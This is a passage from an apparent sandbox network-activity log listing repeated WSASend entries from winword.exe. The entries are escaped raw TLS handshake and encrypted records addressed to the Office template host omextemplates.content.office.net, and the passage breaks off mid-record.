  494. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xca\\fnb\\xdf\t-\\x99\\xb2\\xa3&z+\\x0c\\x03\n\\xf8\\xce\\xdd-\\x88i\\xcc:\\xa1\\xbf\\xe6\\x14\\x1f\\xd6\\x08\\xe0%\\xaf\\x96\\x17q+ \\x1de\\xbf\\xa9\\xbd\\x90\\xdd\\xe4\\x91\\xae\\x95\\x01\\xec\\xb6o\\xf2\\x91l\\x00\\x8d\\x10\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000*\\xcb\"\\xce=\\xba\\x9d\\x94?5\\xf9zr>\\x1b/\\xb5\\xa7\\xce*\\xe0;\\xe8\\xd7\\xb1\\xa0wg/\\x94\\xb3\\x82\n(\\x83#_\\x98u\\xbah\\xd4\\xa6\\xfc\\x8e\\x7fb\\xc1"
  495.  
  496.  
  497. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x91\\xd5h\\xa1\"\\xbb\\x84\\x08l\\xa0\\x897(\\xbc\\xc0+\n\\x82\\x7fr\\xbch\\x1fa\\xb4\\xd5^\\x00:%\\xc1\\xca\\xb6\\xb6\\xff\\xf3m\\x88e\\xf5\\x1c\\x86\\x97\\x88\\xba\\x98\\xaa\\x87\\x16%\\x1dj\\xf1\\xd3\\xd3i~w\\xc6p\\xd0\\xc9.(\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000o@\\x028\\x9e\\xe5\\x98\\x04\\xe3*u\\xbe\\x8b:a\\xc5w\\xf4\\x98_\\x8a_\\xa5\\x99c\\xe9zg\\xba\\xb6w4\\xe8\\\\xbed\\xedl\\x0e\\x7ft\\xbcv\\x8eo\\xbf."
  498.  
  499.  
  500. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\xf5\\x9buy\\xf3\\x84\\xfd\\x12\\xc3\\x83=\\x05d\\xa1\"\\x0f\\xd6\\xca\\xbf^\\x9dr\\xcd\\xcd\\v\\x03\\xa4\\xe9\\x1b\\xc4\\xd9\\x15b\\x87\\xcb\\x9a?~%\\xaf&\\x17\\x9f\\x9e\\x95\\xdew5\\xae\\xb6ca>\\xd1t\\x8e\\xbbv\\xb9\\xcd\\x0e\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x0000\\x10\\xa9z\\xa0u\\x98\\xe1\\x01\\xdd\\x9d\\x07\\xc9\\x87\\xba\\xad\\x92\\x84+g\\xeb\\xdar\\x10?\\xdf>9|p\\xc4\\xfch\\xd3l$2\\x17n\\x1e?\\xb5!k\\xff=\\xb7"
  501.  
  502.  
  503. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010>\\x8d\\xca:\\xd6\\xc8\\x911\\x89\\x1b\\x95u\\xde\\xa7\\xb3fn\\xcf+\\x9b\\x1c\\\\x9c\\xd9\\x03z\\xd4'\\x13\\x84\\xddf\\x8c\\xff\\xf2\\x91\\x18\\xee\\xbf\\xae\\x9a\\x85u6\\x1c\\x0f\\xa6&t!\\x11\\xff!i\\xd8\\xdd\\x89zk\\xac^(\\xe0\\xee\\xc3\\xd48\\xce4\\x85'8\\xb8n\\xd5$\\x9dyljkr\\xf7\\xa0p\\x81\\x07\\xe2\\x85\\xd9)\\x18\\x12c\\x8a\\x8f\\xbet\\x85\\xaa\\xf0!@+\\xa7n\\xae\\x15\\x8f\\x08bn\\x8a\\xa0\\xb1\\xae\\xad\\x97h1\\xdde9\\xbc\\xbfi\\x9chj\\xdd\\xd0z\\xa3\\x19\\x968\\xd6an\\xc9\\x89\\x0fn`\\xf3\\xae^\\xe4\\xa5`\\x94\t\\xd7\\xd5n\\\\xe37\\xee\\xe6s\\xb5\\xa8\\x94\\x1f\\x13\t\\x95\\xae\\x92\\xa77\\x1awd\\xf0\\xa1\\x84\\x07y;\\x1b\\xf7\\x93\\x06+\\xbc\\xa7\\xd8z\\xbc\\x82~\\xe9\\x18t\\xcev\\xd7y\\x9bow<\\xe6r\\xc5\\xce\\x9c7\\xad\\x03\\xdb6\\xf0\\x99,\\xe6`\\xc9\\xec\\x07\\xebf\\xa5x\"\\x06\\x9e\\xd58\\xfc\\x896\\x83i\\xbd\\xda\\x8a9\\x87\\xc8\\xbe\\xdd\\x1d\\xff.\\x8f"
  504.  
  505.  
  506. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x05e\\x13\\xe5`\r/zqu\\xb8\\xc1\\x13+\\x06`\\x93\\xd3s\\xffe\\x99\\x03\\x90 \\xda\\xc3<\\x1a\\x91\\xe9m\\xdboa\\xd4?\\x02)\\xf4\\x9e\\x01q\\xccpd\\x87\\xa9\\x0c\\x7f\\xca\\xa00\\x85\\xdf\t\\xd9a=u\\x1d\\xf6\"\\xdad\\x98i\\xe3\\xf5r\\xd7od1\\x93\\xdd\\xe4\\x86\\xe6cgj>\\xee\\x16\\xcf\\x1csnc'\\x13\\x14\\xc4f\\xba\\xe4\\xf8\\xcb\\x99k\\xe8\\x8c\\x99g\\x93qpx\\xb0\\xf2\\x8e\\xb4\\x1c\\x08\t\\xd1<\\xabpd\\x06l/\\xcf\\xdd\\x1e*\\xeb\\x1f\\xf3)\\xbc\\xfel\\x81\\xe7\\x0fy\\xfc\\xac\\xd5\\x8ek\\xc0\\xff\\x1d\\x01\\xa9n\r\\x14\\xc1\\x1f'q|\\x93\\x94\\x13_\\x11\\xa5\\xf5\\xb8\\x80d\\xb1\\xf1\\xc3|p\\xb1d~?\\x03\\x83\\xe0pm6\\xa4\\xf8z\\xd1\\xf3(\\x01$\\xb4\\xc1\\x03\\xa2\\x89\\xb9\\x19\\x81\\x02r\\x89(\\x96a\\xfdq\\xf5\\x9b\\xabt\\x1do\\xdf\\x9a\\xa7\\xc4\\xc9\\xc5\\x84\\x06u\\xa1nj02\\x83eb\\x1e!\\xad\\xcd\\xf2\\x83ld\r2\\xfb\\xa8\\xa5\\xf8e"
  507.  
  508.  
  509. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00f\\x10\\x00\\x00ba\\x04\\x17(\\xec\\xaf\\x16\\x89&p:g<#\\x93\\xfea\\xfd\\x81\\x82\\xf4o\\xcd\\xc9m\\xe5m\\xd9\\xd8jg\\xd5b\\x85\\x91n\\xa1\\x1b\\xac\\xb1\rp`p\\xe0h\\x97\\x98\\xa2\\x9b\\x11\\xa4\\x90.:o\\x0b:\r\\xd1\nf\\x14\\x03\\x01\\x00\\x01\\x01\\x16\\x03\\x01\\x000\\x07\\xe0kp*\\xf5\\x11d\\xf9\\xc80\\xba\\x16\\x05\\xeb\\xf2\\xdb\\xcfi\\xbc\\x1e\\xe0\\x8e\\x85n\\xa0\\xc2\\xff67\\xf4\\x1c\\x82\\x8ce,\\xa3\\xfa\\xcff\\xa9\\x8d\\xde\\xff\\xf5\\x80a"
  510.  
  511.  
  512. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacju\\xe65\\xc4\\xfeevx\\xf4y\\x89qj&\\xe1\\xd8\\xb6\\x00\\xf4v7<\\x85'\t\\x96\\xa9\\xe5\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  513.  
  514.  
  515. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xa6\\xdbx_m\\xc4\\x10;j\\xf4\\xd1\\x16h\\xb6#\\xc2l\\xd4=\\xbc\\x13\\xb8\\x13:\\xcdy\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  516.  
  517.  
  518. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjf\\xfceu\\xe4m\\xddw\\xb0\\x8b\\xe5\\xa5\\xfea\\xf9\\xa4\\xdd\\xbc|\\xb6st!!\\x1d\r\\xbd\\x94\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  519.  
  520.  
  521. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\*(r\\x96\\xab\\x19\\xa1j\\xd5\\xb5\\x92\\x7fe\\xc9\\xfd\\xbdk\\xf8myr\\xfa\\x9bku_m\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  522.  
  523.  
  524. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xaa\\x8f\\x03k\\xec\\xbd\\xa83'c>\\xc1b\\x0bg\\xd6\\xa7o\\xee)\\xbe\\x14\\xea\\xcdx\\xa5\\x89\\xbc\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  525.  
  526.  
  527. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010#\\xce\\xd9\\xd5*\\xf7j\\x83\\x17q\\xfd\\xd9\\x97%\\x0c\\xa1hh\\xad\\xfc\\xb6\\xa0\\xf3\\x9e\\x04\\x1f0\\x94\\xcei\\x0b\\x1a\\x12g\\xd4\\x1b\n<\\xb0\\xe1\\x01\\xb6\\xe6\\x03y\\xbff`e\\xe2\\xfe\\xe3\\xe4z/4\\x1b\\x02w's\\x1b\\xec^\\xb6o7\\x1b\\xaa\\x1f\\xf3\\x87\\xb1a\\x07\\xb8\\x08\\xef\\xbe\\xa9h\\xb8a\\x81\\xae>\\xecw\\x05\\xc4&\\xfe\\x00\\xa7u=h\\xcd\\x05w\\x03\\x0c!@1\\xb6zts\\x918p\\xba\\x00\\xdel2um\\x0f\\x13\\xa0\\xce\\xff\\xf8\\xab\\xe3\\xa6\\x07\\x9b\\xbe\\xa5\\xfe\\x93\\xbb\\xba\\xc0j\\xbbt\\xe1\\x0bp\\xdd\\xd7\\xb1?6\\x9a\\xea\\x95\\x18\\x95\\x12\\x99\\xaas\\x91\\xfe\\xc1\\xbfu\\xcd\\xd3fn!\\xc1\\x14\\x0c\\xf5\\xbf\\xd7\\xfa\\xfe\\x1e\\x15\n\\xf1\\xce\\xaaq\\xecf\\x0c\\x17\\xae\\x8a\\x0c\\xd3\\x17bj\\xd7\\xef\\x19\\x9d\\xd9\\xdb\\x8cv\\xa3`\\xd3\\xfa\\xc8\\x1c\\x14\\x0ccy\\xf1@!n\\x8c\\x97\\xba\\x04\\xd0\\xc8\\xe7\\x1fj\\xb8\\x07\\x9fh\\xccq\\xb1<\\x06\\xe0\\xde\\x95\\x8b\\x18\\xda\\xc7\\xf5q#\\x0b`\\x91\\x13"
  528.  
  529.  
  530. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe2\\xcc\\xa1\\xeb\\xf6\\xfc\\xb4\\x7fv\\x99\\x1b\\x91e \\xc0\\xcej\\xcc\\xc7\\x03\\x944\\xbf\\xf6\\x0e\\x02\\xce\\xa8\\xf1d\\x12\\x05j\\x00j9m*\\xb79\\xe5hixj=\\xf6\\x0en\to\\xbb\\xafc\\xb0\\xba\\x9cy\\\\x1a\\x85\\x16v5\\x14'x\\xca\\xd2=\\x88\\x90\\xbeo\\xa9y\\xcc\\xe6*fl\\xb5&)\\xef0\\x82\\xec\\x1c\\xd0\\xbb`\\x94\\xf9\\xa5\\x05\\xd9<\\xbe\\x06&3rs3h\\x9a:\\x99sy\\xda\\xd3fb\\xbb\\xee\\x8a\\x82 |$0\\xe8\\xa7\\xb9,vju\\xf9d\\xe1\\xd7i\\xa8\\xcc\\x15\\xb2\\xa6\\x9der9\\xe8\\xc9\\xff\\x1dk\\x11\\xd7\\xde\\xd5xnb\\xbf\\xe60\\x06m&\\xb7? ^\\xa8\\xd2\\x1b\\xb97c\\xb6\\xe7 \\x84\\xc1.\\xc3\\xdc\\xd27\\xee\\xb7\\x9b\\xa5\\xdf\\xcf\\xd7\\x87\\x9a\\x8d\\xf2lijq1\\x8d\\x1e\\xa8/\\x89\\x0et\\x95\\xd3\\x1e\\x96j\\x01\\xf2\\xc8\\x1a\\xd6\\xec\\xeeqi\\x16\\xc1i\\x03l\\xb9\\xcbt\\x94\\xf0\\xe6\\xc5\\x13\\xce6)j\\xd7\\x1b/\\x0b&\\xb4\\xf2gam\\x8d\\xf8"
  531.  
  532.  
  533. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xf3\\xd4a\\xc1\\x11u\\xb4\\x8c\\xfapik\\xeac\\xaa\\xd1\\x80\\x1c\\xfb\\x9e\\xcd\\xf1\\xed\\xcc!\\x81<\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  534.  
  535.  
  536. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xc2\\x08\\x11\\xa8\\x97f\\xf5\\x13\\xc6\\xe5\\xebhhk0(\\x81\\x03\\xc1\\x07\\x7f\\x08\\xc0\\xbfp\\xfa\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  537.  
  538.  
  539. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xe9\\xfe\\x8fz\\x82\\x10v\\x14d\\xea\\x07ng\\x1ax\\xc9\\x0b$\\xa2\\xdbk\\xc3\\xc9\\xa2y\\x1f*\\x01\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  540.  
  541.  
  542. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj^\\xb8p\\xddv;\\x0f\\x181\\x8a\\xc5\\x04\\x98\\x8bb\\xa7=a\\xf3\\xe6\\xb4qu\\xe0n\\x13m \\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  543.  
  544.  
  545. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\x87\\xcb\\xdf\\xe5\\x9aq\\x8e\\xe4\\x0e\\xe1s\\x16\\xe4\\xdf#\\xb9\\x01\\xb3\\xafd\\x1e8\\x93\\xe7~\\xben\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  546.  
  547.  
  548. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacjm\\xc6wl\\x1c\\xd7\\xf5\\xda\\xaf\\x7faa7\\x03\\x92mi\\xb95<gt\\x97\\x15\\xb5_\\x9b8\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  549.  
  550.  
  551. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xc9\\x10\\x10|\\x1fp|\\xc8v\\x96\\x93\\xe4\\x1fl.\\x0cw\\x01\\x97\\x1b\\x16\\x03\\xb8\\xf0\\xd2\\x89\\x1f\\x83\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  552.  
  553.  
  554. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xd5(\\xb6\\x977\\xb0\\x1bt\\xb4\\x894\\x91n\\xa8u\\xb7\\xed\\xb8g\\x96\\xf4\\xfd\\xc1\\xb7\\x9f\\x81j\\xe1\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  555.  
  556.  
  557. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\x06\\x9fw\\xf0\\x06z/8\\x13\\xedd\\xb7\\xb2\\xdcu\\xa1\\xa9\\xc4?!p1\\x93v\\xdf\\x9b\\xeb\\xd5)\\xbd\\x92\\xe3\\x94\\xbc@g\\x0f\\x9f\\xad\\x99qz\\xca\r\\xae\\x18\\x18zs#\\x04\\x7f\\x00-\\x99|\\xae/\\x99q\\xb6\\xbd\\x82\\xae\\x8av\\xf4\\xf2l\\x7fm\\xcc\\xcery\\x84\\xc3\\xc53`^\\xb6\\x88\\xaa\\xfb\\xe24\\x978#\\xe0\\xd7\\xd1\\xdfdri\\xbc\\xf7c\\x07\\xe9_k\\xbd=\\xadj\\x14\\x07\\xfc\\xba)\\x88\\xe6\\x9e6\\xb7\\xb7z\\x04\\x1d\"\\xa3q\\xd1\\xb3\\xa2\\x93\\xd3\\xedp&\\x9e\\x86c\\xef\\xfbl\\x81!mo\r\\xba\\x07j\\x85at\\xb9\\x9f\\x8eo\\xaf\\x97\\xc1\\x1e\\x1a\\xc0\\xb3h\\x8a\\x97\\xbb\\xbe\\x1a(6\\xab\\xc4a\\xc8l\\xa4\\xb9d\\xce\\x04\\x9f\\x88b+\r\\xe5\\xe7\\xe1\\xbe\\x8a\\xe4r\\xb1jt\\xd2\\x99y,|\\xa9\\xb1m\\x8c\\x1e\\xff$\\x89\\xb2\\x7f\\x1d\\xcf\\xf91n\\x11\\xba'm>f\\xc9\\xa8\\x94s\\xb6\\xa0\\xea\\xb6\\x82\\xe10!'\\xb7>\\xf7\\xde#\\x0ek0\\xe4\\x82\\xa4\\x87|8@\\xa3"
  558.  
  559.  
  560. "http_request": "winword.exe_WSASend_\\x16\\x03\\x01\\x00\\x83\\x01\\x00\\x00\\x7f\\x03\\x01#\\xacj\\xe8\\xfb\\xb0\\xb0\\x1f-\\x1a\\x7f\\x0ci\\x9bmk\\x0b\\xdb\\x06\\x9f\\x11\\xb3\\xfc~\\x8eg\\x91\\xa0e\\xdb^\\x00\\x00\\x18\\x00/\\x005\\x00\\x05\\x00\n\\xc0\\x13\\xc0\\x14\\xc0\t\\xc0\n\\x002\\x008\\x00\\x13\\x00\\x04\\x01\\x00\\x00>\\xff\\x01\\x00\\x01\\x00\\x00\\x00\\x00%\\x00#\\x00\\x00 omextemplates.content.office.net\\x00\n\\x00\\x06\\x00\\x04\\x00\\x17\\x00\\x18\\x00\\x0b\\x00\\x02\\x01\\x00"
  561.  
  562.  
  563. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xe0\\xc9d\\xe49\\xbau\\xe2\\x01\\x19\\xb2\\x9c\\x88\\x00\\xaf\\xd7'\\xfdi\\xc1=\\xd8\\x07z\\x1c\\x08lp\\x81\\x8e\\xc7\\xd8\\xf0\\x92\\xf6\\xbay\\x9ayv7\\x14\\xe0\\xb5/\\xb6\\xf3\\xde\\x81\\xd2\\xf4\\xb2\\x8f\\xc1\\x01\\xf1\\x82\\x123\\x18o3\\xbemd\npf\\x9e0\\x03m\\xab\\x9c\\x95\\xca\\x81\\xb9\\xe6\\xc1\\x94o\\xe6\\x96\\xcb:\\xa7s\\xe6\\xd2\\xa5d\\xb6\\xc2\\xde\\x8f\\x84\\xbf8\n\\x13jj\\xda\\x11k\\x9e$\\xa4\\xafzn\\x90\\xdc\\xcd\\xc7y\\x9b\\x00\\xc2\\xd7\\xd0\\xc2\\x15\\x90\\xa6\\xaasl6\\x0cdg\\xdf\\xd2\\xe3\\xed\\xc3b\\xba\\x84\\xbc\\xf8\\x945\\s\\xe1\\xf7ewh\\x82\\xef\\xdb1d\\x8f\\xd91\\xe2\\xd6p\\x8c\\xe1\\xfeo\\xb6\\xfc\\xb6ap\\x7f\\xd0k\\x11?i\\xc9z\\xec\\xa2@m\\x81\\x98\\x1b\\x8e\\xf6\\xc1\\xd0\\x85a\\\\xbd\\x85:x\\x13\\xf9\\xacnf\\x8c40\\x16#\\x1f\\x11\\xf0\\xa4\\\\xce\\x98\\xe4\\x9e\\xa69\\xd8n\\xa6\\xebg\\x85\\xd4|6\\xb6i\\x01\\xd0\\xcd\\xf1\\x06\\xcc\\xf9\\x1d|\\x9d\\x08\\xechd\\xc9"
  564.  
  565.  
  566. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010v\\xd4\\xd1d3\\x90\\xffr\\x00\\xc3m\\x85\\xc2\\xde\\x91\\xf1\\x12\\x06\\xe1\\xe6#\\xad\\xddng\\xe1\\x0f\\x1e\\x16\\x05\\xbec<\\xe6\\xfd\\xbd\\x7f/1\\x08\\x9b\\xd8\\x03\\xa3`\"^\\x04\\xd5\\x06\\xca3\\xdb\\xa5cie\\x01\\xf5\\xe3\\xb4r4y\\xa0x',e\\xc8\\x80\\x1d\\xb2\\x14\\x04\\x96\\xcc\\xbe\\x8d\\x02\\x86j\\xdf\\xdec\\x91\\x03\\x8dm\\x04\\xc2/\\x84\\x05\\x06=\\xfc\\x91\\xeb\\xc2\\x86\\xda\\xf5\\xa0\\xdckas?d\\x10\r\\xb4x-\\xf5\\xb9\\\\xab^\\xc6\\xb1t\\xb0\\x15m\\x13\\x86\\x94\\x99\\x92\\x1f\\x82\\xd3o\\x10\\xfc\\x81\\xd4\\xaa\\xed\\xdc\\xce\\x8a(\\x1do\\x91_\n\\xe9\\x82=\\xf6bb\\x8c\"\\xab\\xecb\\x86\\xdeh\\xc8\\x1f\\xae5\\xd1$\\x93p\\xbb\\x85\\xed<s\\xc2\\x0c\\x14x\\x88\\xbd\\xe1\\xbe\\xee\\xbe\\xc6\\x0c(b\\xf4\\x03\\xb4\\x15\\x9a7:\\x13\\x15\\xf8\\x917\\x80.,\\x83\\xa4\\xe3\\xf4\\xae\\x18l.x\\x06\\x9d\\x17\\xa5`9\\xc0\\x83r\\x9b\\xd6\\xbb\\xa2!jact\\xf7\\xd2\\xfb-\\x1e9r\\x99\\x13l\\x16"
  567.  
  568.  
  569. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010\\xa31?\\xc7\\x16\\x80d@\\xc4x\\x8d1\\xc8e\\xdd\\xd4\\xe7\\xb3!\\xa7j+s\\x80\\xe4f\\xea\\xf3y\\xd6/\\xa9e$\\x91\\xed\\x14q\\xcf\\xdc\\xf8\\x90\\xf8\\xd0\\xddp\\xden\\xf5\\xbf\\x8aw\\xbc\\x89\\x83\\xe5\\x8b\\x1a\\xcf\\x87\\xc3\\xd6frc%wud\\x1a\\xb1t-?\\x00\\xaf-x\\xea\\x17f\\xc1\\xc0(\\xd2t6\\x98\\xf5\\x07;\\x91z\\x8f+kkh2\\x90o\\xb7sl\\xc2\\xe1\\xab\\xef\\x97e.3\r\\xa6 \\xcd\\x13t\\xa8\\x8c\\xccn\\xb1\\x95\\xed\\xbdc\\x0f\\xbb\\x19\\xb6~\\x18\\x08\\x10\\x81\\x7f\\xef\\xd6!\\x0c'\\xe8\\x1b\\x97w\\xbb\\x88\\xedi\\x10\\x0c\\xe6\\x83!\\x1bx\\xed,$\\xfd\\xc9\\x97w4\\x87dx\\xd7\\x0b\\x81\\xa5\\x86\\x14\\xab\\x99\\xf6a\\x82\\x98\\x1aw\\xb7\\xb3^,\\xee\\xb6\\x8ca.\\x11-\\x0f\\xb6\\xe9\\xedp\\x9a\\x04\\x89v\\x7f\\xf5xs\\xa0\\xb8\\x803\\x0c\\xa3\\x88\\x07\\x91\\x17j#2\r+\\xf4\\xb3\\xdd\\xaa\\xd214\\xd1~z\\x8e\\xf4qa\\xdd\\x95\\x9b\\x89h\\xc0j\\x8d\\x16\\xe5l\\x91"
  570.  
  571.  
  572. "http_request": "winword.exe_WSASend_\\x17\\x03\\x01\\x010p\\xacs\\xba\\x17\\xfa\\x11\"\\xc0\"\\xc9\\x1d\\x16\\x02\\x10\\xaa\\xc7q'\\xf6\\x1fj\\xf8\\xe6\\x0f-\\x0e\\x8d\\x8b7\\xd1lbik\\xfesav\\xc2\\xa4\\x87\\xcbq\\xa9\\xc2\\x05\\x05i\\x1f\\xa3\\xa6\\xc4:xw\\x1a\\x19\\xf4\\x0e\\xc5f4q`3\\xeb>\\xf3wmn\\xcb\\xc4c\\xcb\\xe8\\xa7\\xcb\\x8b\\xfa\\x00\\xc9\\x0b\\xb4\\x18t\\xf7\\xaf\\xa9v\\xdf\\x9c\\xbc\\x07s_\"\\x8da\\x14\\xbam<\\xbb\\x88\\xbf\\x80\\x94\\xda\\xc4\\xaes\\x00\\xa1\\xd3\\xd1\\xa9\\xda\\xf7x\\xf0\\x03=\\xba\\xaa\\x12\\xf9\\x13\\xb3f\\x11\\xfb\\xf1\\xe9\\xb7\\xaa\t\\xf6\\x8e\\x01\\xf4%\\xed,\\xb7\\x1e\\xc2 